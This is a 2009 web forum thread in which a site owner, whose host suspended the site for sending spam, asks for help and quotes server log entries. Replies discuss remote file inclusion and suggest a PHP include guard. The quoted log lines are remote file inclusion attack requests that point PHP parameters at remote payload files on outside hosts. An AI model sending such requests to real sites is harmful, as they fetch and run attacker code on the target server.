Reply
Site Hacked: Help Needed
Old 01-19-2009, 12:34 PM Site Hacked: Help Needed
Junior Talker

Posts: 1
Trades: 0
Hello,

The hosts suspended it because it was hacked and sending out spam. I hired someone on a freelance website to make the site. I dont have the skills to fix this myself.

Here is what the hosts said:
Quote:
We've had to suspend that account again. It looks like you have some php files that are vulnerable to cross-site scripting or remote file inclusion exploits, but we haven't been able to find the definite exact cause or file.

Because your site to attempting to flood our mail server with connections, we'll have to keep the site suspended 'till the issue is found.

Maybe the person who installed the site might be able where the following log entries are been called from:
/?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/config.inc.php?path_escape=http://www.ptp.dk/typo3/typo3conf/ext/rtehtmlarea/htmlarea/plugins/RemoveFormat/robots.txt??
/5/posts/2_Community/0/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???
/6//?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/errors.php?error=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts//?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local//?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local/96_Fruit_Veg%20/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???
/6/posts/19_Eating_Local/96_Fruit_Veg/%20%20//?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local/96_Fruit_Veg/%20%20/errors.php?error=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local/96_Fruit_Veg//?path%5Bdocroot%5D=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local/96_Fruit_Veg//config.inc.php?path_escape=http://www.ptp.dk/typo3/typo3conf/ext/rtehtmlarea/htmlarea/plugins/RemoveFormat/robots.txt??
/6/posts/19_Eating_Local/96_Fruit_Veg/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???
/6/posts/19_Eating_Local/96_Fruit_Veg/errors.php?error=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/19_Eating_Local/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???
/6/posts/19_Eating_Local/errors.php?error=http://i0.co.kr/i0mall//admin/idxx.txt??
/6/posts/errors.php?error=http://i0.co.kr/i0mall//admin/idxx.txt??
/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???
/index.php?news_id=3&start=0&category...t_id=0&arcy ear=&arcmonth=//config.inc.php?path_escape=http://www.ptp.dk/typo3/typo3conf/ext/rtehtmlarea/htmlarea/plugins/RemoveFormat/robots.txt??
/index.php?news_id=3&start=0&category...t_id=0&arcy ear=&arcmonth=/config.inc.php?path_escape=http://www.samilglass.com/images/v6id.txt???

If you could ask them what php files are called, when any of the above URL's are entered, it might help us track down the problem.

Last edited by pippy_doodle; 01-20-2009 at 12:45 PM..
pippy_doodle is offline
Reply With Quote
View Public Profile
 
 
When You Register, These Ads Go Away!
Old 01-20-2009, 07:18 AM Re: Site Hacked: Help Needed
anderswc's Avatar
Super Talker

Posts: 132
Name: Will Anderson
Location: Terre Haute, IN
Trades: 0
Only looking at the log, it's really hard to tell what the problem with your site is. It DOES look like there might be some remote file inclusion here, which could be causing you problems.

Check with your original programmer to see what he/she has to say.
__________________
Will Anderson
It's An Anderson | Twitter | Anderson Web Solutions
anderswc is offline
Reply With Quote
View Public Profile Visit anderswc's homepage!
 
Old 01-20-2009, 07:41 AM Re: Site Hacked: Help Needed
amw_drizz's Avatar
Ultra Talker

Posts: 338
Name: Jon
Location: New York
Trades: 0
if know you a little bit of php you can do this

on you php file that calls the other files put

PHP Code:
define("localOnly",True); 
then in all of you included files

PHP Code:
if(defined("localOnly") !== True){
echo 
"No direct access allowed";
exit();

So when you include file it will check to see if var localOnly is defined and if it is it will run and if it isn't then it will exit. That should help from external inclusion but i would suggest using a creative name than what I provided.
__________________
AMW_Drizz
Dev Machine:: Apache 2.2.6 PHP 5.2.6 MySQL 5.1

Last edited by amw_drizz; 01-20-2009 at 07:43 AM..
amw_drizz is offline
Reply With Quote
View Public Profile Visit amw_drizz's homepage!
 
Old 01-20-2009, 08:20 AM Re: Site Hacked: Help Needed
anderswc's Avatar
Super Talker

Posts: 132
Name: Will Anderson
Location: Terre Haute, IN
Trades: 0
The problem isn't with inclusion of local files from external sites, but with inclusion of external files from local site. If you look at the addresses that are referenced in the log file, you'll see that they contain PHP code. It is most likely being included on your site, causing vulnerabilities (the code is also crap by the way!).

I seriously suggest talking to your programmer about these issues as he/she is the best one to address them.
__________________
Will Anderson
It's An Anderson | Twitter | Anderson Web Solutions
anderswc is offline
Reply With Quote
View Public Profile Visit anderswc's homepage!
 
Reply     « Reply to Site Hacked: Help Needed
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML

 



Page generated in 0.11879 seconds with 13 queries